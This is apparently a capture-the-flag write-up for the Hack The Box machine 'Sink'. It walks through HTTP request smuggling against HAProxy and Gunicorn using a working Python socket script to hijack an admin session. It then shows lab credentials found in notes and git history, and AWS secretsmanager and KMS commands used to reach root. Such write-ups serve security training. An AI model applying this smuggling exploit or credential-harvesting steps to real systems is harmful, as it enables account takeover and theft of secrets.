Sink

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 10.129.53.114           
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-03 06:39 EST
Nmap scan report for 10.129.53.114
Host is up (0.020s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp
5000/tcp open  upnp

Detailed scan:

$ nmap -p 3000,5000 -sC -sV --min-rate 3000 10.129.53.114
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-03 06:39 EST
Nmap scan report for 10.129.53.114
Host is up (0.013s latency).

PORT     STATE SERVICE VERSION
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=3361b69dad23d2ea; Path=/; HttpOnly
|     Set-Cookie: _csrf=txpcHZ6RiB1aS-05VSKJ0-5qZl86MTcwOTQ2NTk0OTM2OTU1MTI2Mg; Path=/; Expires=Mon, 04 Mar 2024 11:39:09 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 03 Mar 2024 11:39:09 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|     <meta name="description" content="Gitea (Git with a cup of tea) is a painless
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=33683268230df717; Path=/; HttpOnly
|     Set-Cookie: _csrf=hGm6toH_AOWa7TCGUhRDNhPBo-06MTcwOTQ2NTk1NDU1Mzc1NjE4OA; Path=/; Expires=Mon, 04 Mar 2024 11:39:14 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 03 Mar 2024 11:39:14 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Page Not Found - Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|_    <meta name="description" content="Gitea (Git with a c
5000/tcp open  http    Gunicorn 20.0.0
|_http-title: Sink Devops
|_http-server-header: gunicorn/20.0.0

Port 3000 had Gitea, and port 5000 had a Gunicorn server. Added sink.htb to the /etc/hosts file as per standard HTB practice.

Note that this particular version of Gunicorn was vulnerable to HTTP Request Smuggling. Based on the date of the box release and the exploit, I'd say this is rather accurate.

Web Enum -> HTTP Request Smuggling

Port 3000 hosted a Gitea instance:

There were 3 users present:

There was one organisation, which was SinkSolutions, with all 3 users being part of it. I don't have any credentials and there weren't any public repositories, so I moved on.

Port 5000 had a Login page:

I already knew that this version of Gunicorn was vulnerable to HTTP Request Smuggling, so let's see what I have to use it for.

Created a new account and logged in to view a blog of some sorts:

The admin email is admin@sink.htb, and there were 2 functionalities: A comment section, and a Notes section.

Leaving a comment creates this:

And creating a new note does this:

When the requests are viewed in Burpsuite, I could see that haproxy was used to load balance the web application:

The above article states that the software has trouble processing the \x0b and \x0c characters.

A request like this would smuggle stuff in:

POST / HTTP/1.1
Host: 127.0.0.1:1080
Content-Length: 6
Transfer-Encoding:[\x0b]chunked

0

X

TE.CL -> Gitea Creds -> User

To test this, I wanted to create a script that would do the request smuggling. Using the requests module is not possible, since it automatically appends a 'valid' request.

One alternative would be to use sockets to do this.

Using this, I can attempt to construct valid and smuggle requests. First, let's try to write a new note via request smuggling.

Here's my script. Sending a second cookie would make sure the smuggled result appears in my notes.

import socket

host = '10.129.53.114'
port = 5000

# 30 is just a random length I picked
smuggle = f"""0

POST /notes HTTP/1.1
Host: {host}:{port}
Cookie: session=eyJlbWFpbCI6InRlc3RAdGVzdC5jb20ifQ.ZeRieg.Mx4K8P6kYb2HZVLxPL5O4t--vEE
Content-Length: 30 

note=iamsmuggle"""

smuggle = smuggle.replace("\n", "\r\n")

valid = f"""GET / HTTP/1.1
Host: {host}:{port}
Content-Length: {len(smuggle)}
Transfer-Encoding: \x0bchunked

"""
valid = valid.replace("\n", "\r\n")

final_req = valid + smuggle
final_req = final_req.encode()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(final_req)

When I sent this script, it created an interesting note.

It included a bit of the previous request I sent. This confirms my script works!

When increasing the Content-Length, I noticed that it was writing the request from a delete request to 127.0.0.1, which was not from me:

Sometimes this request would not pop up, and I would get my own requests printed:

This is probably because some user is trying to access /notes/delete/1234, and if the requests happen at the right time, I can smuggle mine to write the next request into the note.

Because I was refreshing so often and sending back to back requests, it was hard to capture the full request to 127.0.0.1, as such I reset the machine a few times.

Eventually, I was able to retrieve this:

This gives me a new cookie, and when decoded I found that it was the admin cookie:

Refreshed the cookie and became the administrator!

The administrator had 3 notes:

The contents were:

Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz

Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3

Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C

Interesting. Time to test credentials on the Gitea instance, since that was the only thing I could access.

I could login with root:FaH@3L>Z3})zzfQ3 to view the repositories:

While looking at the repositories and the history, I that AWS was used here:

There were also some other credentials like this key:

I noticed that all of these commits were made using the marcus user. The most interesting branch was the Key_Management branch since it was archived and sorta hidden.

The Preparing for Prod commit contained a SSH private key:

Using this key, I could ssh in as marcus.

Privilege Escalation

General Enum -> AWS

Ran the usual enumeration scripts of linpeas.sh and pspy64. The first thing that stood out to me from linpeas.sh was that aws was installed on the machine:

[+] Useful software                                                                          
/usr/local/bin/aws 

Normally, HTB machines don't have this, so this is worth looking into. Earlier, I also found a key and secret variable, and various mentions of AWS in the repositories.

AWS Enum -> David Creds

I found the AWS keys and stuff in the log_management repository. First, I listed all the services:

$ aws list-services

This produced a lot of them, and I found the logs one. I used awslocal instead of aws, which just specifies to enumerate the local AWS instances.

I read the help manual, and found some interesting commands:

marcus@sink:~$ awslocal logs describe-log-groups
{
    "logGroups": [
        {
            "logGroupName": "cloudtrail",
            "creationTime": 1709471041232,
            "metricFilterCount": 0,
            "arn": "arn:aws:logs:us-east-1:000000000000:log-group:cloudtrail",
            "storedBytes": 91
        }
    ]
}

cloudtrail was a log group. To view the events, I have to obtain the --log-stream-name parameter. I found the describe-log-streams command, and thought this can be used:

marcus@sink:~$ awslocal logs describe-log-streams --log-group-name cloudtrail
{
    "logStreams": [
        {
            "logStreamName": "20201222",
            "creationTime": 1709471281254,
            "firstEventTimestamp": 1126190184356,
            "lastEventTimestamp": 1533190184356,
            "lastIngestionTime": 1709471281269,
            "uploadSequenceToken": "1",
            "arn": "arn:aws:logs:us-east-1:31:log-group:cloudtrail:log-stream:20201222",
            "storedBytes": 91
        }
    ]
}

So now I have the name, I can proceed to enumerate the events.

marcus@sink:~$ awslocal logs get-log-events --log-stream-name 20201222 --log-group-name cloudtrail
{
    "events": [
        {
            "timestamp": 1126190184356,
            "message": "RotateSecret",
            "ingestionTime": 1709471341491
        },
        {
            "timestamp": 1244190184360,
            "message": "TagResource",
            "ingestionTime": 1709471341491
        },
<TRUNCATED>
        {
            "timestamp": 1433190184360,
            "message": "RotateSecret",
            "ingestionTime": 1709471341491
        },
        {
            "timestamp": 1533190184356,
            "message": "RestoreSecret",
            "ingestionTime": 1709471341491
        }
    ],
<TRUNCATED>
}

There was mention of some secrets, and events of RestoreSecret and RotateSecret are actions done using secretsmanager.

Listing secrets showed this:

marcus@sink:~$ awslocal secretsmanager list-secrets
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-lIsJu",
            "Name": "Jenkins Login",
            "Description": "Master Server to manage release cycle 1",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "1bc3264b-6642-4152-9130-7d8d9f4706c3": [
                    "AWSCURRENT"
                ]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-cMGRf",
            "Name": "Sink Panel",
            "Description": "A panel to manage the resources in the devnode",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "94ac2fdb-9bfd-437e-a99b-0e86a5f6c982": [
                    "AWSCURRENT"
                ]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-UEfjg",
            "Name": "Jira Support",
            "Description": "Manage customer issues",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "bc9694c6-9b66-44ce-ad18-0fda637dd8a2": [
                    "AWSCURRENT"
                ]
            }
        }
    ]
}

There are a few secrets, and retrieving the one for Jira Support reveals the credentials of david:

marcus@sink:~$ awslocal secretsmanager get-secret-value --secret-id "Jira Support"
{
    "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-UEfjg",
    "Name": "Jira Support",
    "VersionId": "bc9694c6-9b66-44ce-ad18-0fda637dd8a2",
    "SecretString": "{\"username\":\"david@sink.htb\",\"password\":\"EALB=bcC=`a7f2#k\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": 1709469396
}

Using this, I can su to david.

David

As david, I had access to the ~/Projects/Prod_Deployment folder:

david@sink:~/Projects/Prod_Deployment$ ls -la
total 12
drwxrwx--- 2 david david 4096 Feb  1  2021 .
drwxr-x--- 3 david david 4096 Dec  2  2020 ..
-rw-r----- 1 david david  512 Feb  1  2021 servers.enc

This definitely had to do with the the Key_Management repository, and more aws since there wasn't david could do.

The Key_Management repository seemed to be using the Key Management System service, which is what KMS stands for:

There's probably a key I can use to decrypt the file. Listing the keys shows a lot:

david@sink:~$ awslocal kms list-keys
{
    "Keys": [
        {
            "KeyId": "0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/0b539917-5eff-45b2-9fa1-e13f0d2c42ac"
        },
        {
            "KeyId": "16754494-4333-4f77-ad4c-d0b73d799939",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/16754494-4333-4f77-ad4c-d0b73d799939"
        },
        {
            "KeyId": "2378914f-ea22-47af-8b0c-8252ef09cd5f",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2378914f-ea22-47af-8b0c-8252ef09cd5f"
        },
        {
            "KeyId": "2bf9c582-eed7-482f-bfb6-2e4e7eb88b78",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2bf9c582-eed7-482f-bfb6-2e4e7eb88b78"
        },
        {
            "KeyId": "53bb45ef-bf96-47b2-a423-74d9b89a297a",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/53bb45ef-bf96-47b2-a423-74d9b89a297a"
        },
        {
            "KeyId": "804125db-bdf1-465a-a058-07fc87c0fad0",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/804125db-bdf1-465a-a058-07fc87c0fad0"
        },
        {
            "KeyId": "837a2f6e-e64c-45bc-a7aa-efa56a550401",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/837a2f6e-e64c-45bc-a7aa-efa56a550401"
        },
        {
            "KeyId": "881df7e3-fb6f-4c7b-9195-7f210e79e525",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/881df7e3-fb6f-4c7b-9195-7f210e79e525"
        },
        {
            "KeyId": "c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/c5217c17-5675-42f7-a6ec-b5aa9b9dbbde"
        },
        {
            "KeyId": "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f0579746-10c3-4fd1-b2ab-f312a5a0f3fc"
        },
        {
            "KeyId": "f2358fef-e813-4c59-87c8-70e50f6d4f70",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f2358fef-e813-4c59-87c8-70e50f6d4f70"
        }
    ]
}

I can retrieve more information usingthese keys:

david@sink:~$ awslocal kms describe-key --key-id 0b539917-5eff-45b2-9fa1-e13f0d2c42ac
{
    "KeyMetadata": {
        "AWSAccountId": "000000000000",
        "KeyId": "0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
        "Arn": "arn:aws:kms:us-east-1:000000000000:key/0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
        "CreationDate": 1609757848,
        "Enabled": false,
        "Description": "Encryption and Decryption",
        "KeyUsage": "ENCRYPT_DECRYPT",
        "KeyState": "Disabled",
        "Origin": "AWS_KMS",
        "KeyManager": "CUSTOMER",
        "CustomerMasterKeySpec": "RSA_4096",
        "EncryptionAlgorithms": [
            "RSAES_OAEP_SHA_1",
            "RSAES_OAEP_SHA_256"
        ]
    }
}

The key thing is the Enabled field, which seemed to be false for most. I checked each manually, and found that c5217c17-5675-42f7-a6ec-b5aa9b9dbbde were both enabled.

{
    "KeyMetadata": {
        "AWSAccountId": "000000000000",
        "KeyId": "804125db-bdf1-465a-a058-07fc87c0fad0",
        "Arn": "arn:aws:kms:us-east-1:000000000000:key/804125db-bdf1-465a-a058-07fc87c0fad0",
        "CreationDate": 1609757999,
        "Enabled": true,
        "Description": "Encryption and Decryption",
        "KeyUsage": "ENCRYPT_DECRYPT",
        "KeyState": "Enabled",
        "Origin": "AWS_KMS",
        "KeyManager": "CUSTOMER",
        "CustomerMasterKeySpec": "RSA_4096",
        "EncryptionAlgorithms": [
            "RSAES_OAEP_SHA_1",
            "RSAES_OAEP_SHA_256"
        ]
    }
}

{
    "KeyMetadata": {
        "AWSAccountId": "000000000000",
        "KeyId": "c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",
        "Arn": "arn:aws:kms:us-east-1:000000000000:key/c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",
        "CreationDate": 1609757403,
        "Enabled": true,
        "Description": "Digital Signature Verification",
        "KeyUsage": "SIGN_VERIFY",
        "KeyState": "Enabled",
        "Origin": "AWS_KMS",
        "KeyManager": "CUSTOMER",
        "CustomerMasterKeySpec": "ECC_NIST_P521",
        "SigningAlgorithms": [
            "ECDSA_SHA_512"
        ]
    }
}

One was for signatures, the other was for encryption, so I assumed the encryption key was the one to use.

Reading on Hacktricks, it seems that this key can be used with awslocal kms decrypt to decrypt files.

$ awslocal kms decrypt --ciphertext-blob fileb://servers.enc --encryption-algorithm RSAES_OAEP_SHA_256 --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 --output text
RSAES_OAEP_SHA_256      arn:aws:kms:us-east-1:000000000000:key/804125db-bdf1-465a-a058-07fc87c0fad0 H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA=

One can base64 decode that into a file:

david@sink:~/Projects/Prod_Deployment$ echo 'H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA=' |base64 -d > output
david@sink:~/Projects/Prod_Deployment$ file output
output: gzip compressed data, from Unix, original size modulo 2^32 10240

Afterwards, I can attempt to extract this archive:

david@sink:~/Projects/Prod_Deployment$ mv output output.gz
david@sink:~/Projects/Prod_Deployment$ gzip -d output.gz
david@sink:~/Projects/Prod_Deployment$ ls -la
total 24
drwxrwx--- 2 david david  4096 Mar  3 13:32 .
drwxr-x--- 3 david david  4096 Dec  2  2020 ..
-rw-rw-r-- 1 david david 10240 Mar  3 13:31 output
-rw-r----- 1 david david   512 Feb  1  2021 servers.enc
david@sink:~/Projects/Prod_Deployment$ cat output 
servers.yml0000644000000000000000000000021313774573563012010 0ustar  rootrootserver:
  listenaddr: ""
  port: 80
  hosts:
    - certs.sink.htb
    - vault.sink.htb
defaultuser:
  name: admin
  pass: _uezduQ!EY5AHfe2

This password can be used to su to root:

Rooted! Lots of AWS, and the initial vector was so interesting, never used sockets to send request like that before.

Last updated